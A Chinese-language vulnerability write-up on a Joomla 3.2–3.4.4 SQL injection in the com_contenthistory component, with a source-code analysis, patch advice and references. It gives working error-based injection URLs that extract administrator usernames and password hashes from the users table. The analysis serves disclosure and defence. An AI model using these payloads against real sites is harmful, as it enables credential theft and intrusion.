RickGray · 2015/10/26 11:24

昨日，Joomla CMS发布新版本3.4.5，该版本修复了一个高危的SQL注入漏洞，3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息，甚至可以获取已登陆的管理员会话直接进入网站后台。

0x01 原理分析

在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory)，该功能本应只有管理员才能访问，但是由于开发人员的疏忽，导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中：

#!php

<?php

defined('_JEXEC') or die;    

$lang = JFactory::getLanguage();

$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)

||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);    

require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

复制代码

可以看到该组件加载时并没有进行相关权限的监测，而 Joomla 中，一般的后台调用组件 (/administrator/components/下的组件) 都会进行组件对应的权限检查，例如后台中的 com_contact 组件

#!php

if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))

{

    return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));

}

复制代码

但是，程序在处理 contenthistory 组件时，并没有进行一个权限检查，程序初始化并设置好组件相关配置后，包含文件 /administrator/components/com_contenthistory/contenthistory.php，其内容如下：

#!php

<?php

defined('_JEXEC') or die;    

$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));

$controller->execute(JFactory::getApplication()->input->get('task'));

$controller->redirect();

复制代码

程序初始化基于 contenthistory 组件的控制类 JControllerLegacy，然后直接调用控制类的 execute() 方法，在 execute() 方法中，会调用其控制类中的 display()，代码位于 /libraries/legacy/controller/legacy.php：

#!php

public function display($cachable = false, $urlparams = array())

{

    $document = JFactory::getDocument();

    $viewType = $document->getType();

    $viewName = $this->input->get('view', $this->default_view);

    $viewLayout = $this->input->get('layout', 'default', 'string');    

    $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));    

    // Get/Create the model

    if ($model = $this->getModel($viewName))

    {

        // Push the model into the view (as default)

        $view->setModel($model, true);

    }

    (...省略...)

    if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)

    { (...省略...) }

    else

    {

        $view->display();

    }    

    return $this;

}

复制代码

处理程序从传递的参数中获取 view 和 layout 的参数值进行初始化视图，并且调用 $model = $this->getModel($viewName) 加载对应数据模型，最终会调用 $view->display() 函数进行视图处理。

Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作，也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时，会进入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函数：

#!php

protected function getListQuery()

{

    // Create a new query object.

    $db = $this->getDbo();

    $query = $db->getQuery(true);    

    // Select the required fields from the table.

    $query->select(

        $this->getState(

            'list.select',

            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .

            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'

        )

    )

    ->from($db->quoteName('#__ucm_history') . ' AS h')

    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))

    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))    

    // Join over the users for the editor

    ->select('uc.name AS editor')

    ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');    

    // Add the list ordering clause.

    $orderCol = $this->state->get('list.ordering');

    $orderDirn = $this->state->get('list.direction');

    $query->order($db->quoteName($orderCol) . $orderDirn);    

    return $query;

}

复制代码

注意下面这段SQL语句构造部分：

#!php

    $query->select(

        $this->getState(

            'list.select',

            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .

            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'

        )

    )

    ->from($db->quoteName('#__ucm_history') . ' AS h')

    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))

    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

复制代码

其中 getState() 函数用于获取模型的属性和其对应的值，其函数定义位于 /ibraries/legacy/model/legacy.php：

#!php

public function getState($property = null, $default = null)

{

    if (!$this->__state_set)

    {

        // Protected method to auto-populate the model state.

        $this->populateState();    

        // Set the model state set flag to true.

        $this->__state_set = true;

    }    

    return $property === null ? $this->state : $this->state->get($property, $default);

}

复制代码

然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数，在 contenthistory 组建中定义有自己的 populateState() 函数：

#!php

protected function populateState($ordering = null, $direction = null)

{

    (...省略...)

    // List state information.

    parent::populateState('h.save_date', 'DESC');

}

复制代码

函数最后，会调用父类的 populateState() 函数，因为该数据模型继承于 JModelList，所以父类相关代码位于 /libraries/legacy/model/list.php 中，而在父类该函数的处理中会解析请求中传递的 list[] 参数，解析并过滤预设键的值，但是却忽略了 list[select]：

#!php

protected function populateState($ordering = null, $direction = null)

{

    (...省略...)

        // Receive & set list options

        if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))

        {

            foreach ($list as $name => $value)

            {

                // Extra validations

                switch ($name)

                {

                    case 'fullordering':

                        (...省略...)

                    case 'ordering':

                        (...省略...)

                    case 'direction':

                        (...省略...)

                    case 'limit':

                        (...省略...)

                    default:

                        $value = $value;

                        break;

                }    

                $this->setState('list.' . $name, $value);

            }

        }

    (...省略...)

复制代码

而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里，从而导致了注入。

0x02 漏洞演示

通过上面简单的分析，已经知道了受影响的 Joomla 版本中，contenthistory 组件访问不受权限的控制，并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。

1.漏洞验证

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因为在进行 SQL 语句拼接的时候，获取了 list.ordering 进行数据查询中的 order 操作，若不提供默认会将其设置为数据进行处理，相关处理位于 /libraries/joomla/database/driver.php 的 quoteName() 函数中。

因此，访问上述构造的URL，服务器会报错：

2.漏洞利用

因为在 SQL 语句拼接时，程序框架针对每个 from 或者 where 操作进行了换行处理，所以这里并不能使用 #、-- 等符号来注释掉后面的语句，只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件，也就是传递的 item_id 和 type_id 参数值必须于数据库中有效，同时传递 list[ordering] 参数 (空值即可)，这样注入的语句才能够得到执行，从而进行报错注入。

这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1，当然了为了准确性和有效性，可以通过爆破的方式来得到这两个参数的有效值，然后再进行注入操作。

(Tips：Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)

下面是获取用户名/密码哈希的漏洞演示过程：

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

0x03 修复方案

1. 从 github.com/joomla/joom… 获取最新版本进行重新安装；
2. 从 github.com/joomla/joom… 下载相应版本的补丁程序进行升级；

0x04 总结

就 Joomla CMS 的用户量来看，目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory 组件能够被任意用户访问和加载，而参数的过滤不严格，导致攻击者能够构造出恶意的参数到执行流中产生注入。

0x05 参考

• www.sebug.net/vuldb/ssvid…
• blog.sucuri.net/2015/10/joo…
• www.trustwave.com/Resources/S…

原文地址：blog.knownsec.com/2015/10/joo…